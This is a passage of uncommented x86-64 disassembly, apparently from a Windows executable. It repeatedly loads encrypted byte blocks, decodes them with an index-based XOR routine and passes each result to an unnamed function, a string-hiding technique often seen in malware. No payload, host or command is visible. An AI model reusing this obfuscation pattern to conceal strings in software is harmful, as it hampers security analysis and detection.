lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x38
jl 0x14000a640
cmp r8d, 0x3b
jge 0x14000a773
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x3b
jl 0x14000a740
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006dd40]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006dd50]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006dd60]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006dd70]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006dd80]
movups xmmword [rsp + 0x70], xmm0
mov eax, dword [0x14006dd90]
mov dword [rbp - 0x80], eax
mov r8d, r12d
cmp ebx, 2
jl 0x14000a8d3
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14000a7e0
cmp r8d, 0x54
jge 0x14000a913
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x54
jl 0x14000a8e0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006f9b0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006f9c0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006f9d0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006f9e0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006f9f0]
movups xmmword [rsp + 0x70], xmm0
mov eax, dword [0x14006fa00]
mov dword [rbp - 0x80], eax
mov r8d, r12d
cmp ebx, 2
jl 0x14000aa73
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14000a980
cmp r8d, 0x54
jge 0x14000aab3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x54
jl 0x14000aa80
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e780]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e790]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e7a0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e7b0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006e7c0]
movups xmmword [rsp + 0x70], xmm0
movsd xmm0, qword [0x14006e7d0]
movsd qword [rbp - 0x80], xmm0
movzx eax, byte [0x14006e7d8]
mov byte [rbp - 0x78], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000ac23
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x58
jl 0x14000ab30
cmp r8d, 0x59
jge 0x14000ac63
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x59
jl 0x14000ac30
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006eba0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006ebb0]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006ebc0]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006ebd0]
movups xmmword [rsp + 0x60], xmm1
movups xmm0, xmmword [0x14006ebe0]
movups xmmword [rsp + 0x70], xmm0
mov eax, dword [0x14006ebf0]
mov dword [rbp - 0x80], eax
movzx eax, word [0x14006ebf4]
mov word [rbp - 0x7c], ax
mov r8d, r12d
cmp ebx, 2
jl 0x14000add3
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x14000ace0
cmp r8d, 0x56
jge 0x14000ae13
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x56
jl 0x14000ade0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006ce60]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006ce70]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006ce80]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006ce90]
movups xmmword [rsp + 0x60], xmm1
mov eax, dword [0x14006cea0]
mov dword [rsp + 0x70], eax
movzx eax, word [0x14006cea4]
mov word [rsp + 0x74], ax
movzx eax, byte [0x14006cea6]
mov byte [rsp + 0x76], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000af83
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14000ae90
cmp r8d, 0x47
jge 0x14000afc3
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x47
jl 0x14000af90
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e000]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e010]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006e020]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006e030]
movups xmmword [rsp + 0x60], xmm1
mov eax, dword [0x14006e040]
mov dword [rsp + 0x70], eax
mov r8d, r12d
cmp ebx, 2
jl 0x14000b114
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x14000b021
cmp r8d, 0x44
jge 0x14000b153
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x44
jl 0x14000b120
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006d450]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006d460]
movups xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [0x14006d470]
movups xmmword [rsp + 0x50], xmm0
movups xmm1, xmmword [0x14006d480]
movups xmmword [rsp + 0x60], xmm1
cmp ebx, 2
jl 0x14000b29d
mov edx, r12d
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov r8d, dword [rbp + 0x60]
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x40
jl 0x14000b1b0
jmp 0x14000b2e3
lea r9, [rsp + 0x30]
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x40
jl 0x14000b2b0
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
movups xmm0, xmmword [0x14006e7e0]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006e7f0]
movups xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [0x14006e800]
movsd qword [rsp + 0x50], xmm0
mov eax, dword [0x14006e808]
mov dword [rsp + 0x58], eax
movzx eax, word [0x14006e80c]
mov word [rsp + 0x5c], ax
mov r8d, r12d
cmp ebx, 2
jl 0x14000b443
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000b350
cmp r8d, 0x2e
jge 0x14000b483
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2e
jl 0x14000b450
lea rcx, [rsp + 0x30]
call fcn.14003b0f0
lea rcx, [rbp]
call fcn.140004b20
mov rsi, rax
lea rcx, [rbp + 0x30]
call fcn.140004b20
mov r10, rax
movups xmm0, xmmword [0x14006ec60]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [0x14006ec70]
movups xmmword [rsp + 0x40], xmm1
movsd xmm0, qword [0x14006ec80]
movsd qword [rsp + 0x50], xmm0
mov ecx, dword [0x14006ec88]
mov dword [rsp + 0x58], ecx
movzx eax, word [0x14006ec8c]
mov word [rsp + 0x5c], ax
movzx eax, byte [0x14006ec8e]
mov byte [rsp + 0x5e], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000b603
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rsp + 0x34]
mov edx, dword [rbp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x14000b510
cmp r8d, 0x2f
jge 0x14000b643
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2f
jl 0x14000b610
lea rax, [rsp + 0x30]
mov rdi, 0xffffffffffffffff
mov r9, rdi
inc r9
cmp byte [rax + r9], 0
jne 0x14000b652
lea r8, [rsp + 0x30]
xor edx, edx
mov rcx, r10
call fcn.140013c70
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x90], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x90], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x14006cb9c]
lea rcx, [rbp + 0x80]
call fcn.1400114f0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r9, rsi
lea r8, [rbp + 0x60]
lea rcx, [rbp + 0xa0]
call fcn.140013d70
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0xf
cmova rcx, qword [rbp + 0xa0]
call fcn.14003b0f0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000b74b
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b746
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108d0
call fcn.14002ccd0
movdqu xmmword [rbp + 0xb0], xmm11
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14000b797
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b791
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108d6
call fcn.14002ccd0
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14000b7d8
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b7d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108dc
call fcn.14002ccd0
movdqu xmmword [rbp + 0x90], xmm11
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x14000b823
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b81e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108e2
call fcn.14002ccd0
movdqu xmmword [rbp + 0x40], xmm11
mov byte [rbp + 0x30], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14000b868
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000b863
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400108e8
call fcn.14002ccd0
lea rcx, [rsp + 0x30]
call fcn.140004b20
mov rsi, rax
lea rcx, [rbp]
call fcn.140004b20
mov r10, rax
movups xmm0, xmmword [0x14006d738]
movups xmmword [rbp + 0x30], xmm0
movups xmm1, xmmword [0x14006d748]
movups xmmword [rbp + 0x40], xmm1
movsd xmm0, qword [0x14006d758]
movsd qword [rbp + 0x50], xmm0
mov ecx, dword [0x14006d760]
mov dword [rbp + 0x58], ecx
movzx eax, word [0x14006d764]
mov word [rbp + 0x5c], ax
movzx eax, byte [0x14006d766]
mov byte [rbp + 0x5e], al
mov r8d, r12d
cmp ebx, 2
jl 0x14000b9d3
movdqa xmmword [rbp + 0x60], xmm10
lea rcx, [rbp + 0x34]
mov edx, dword [rbp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
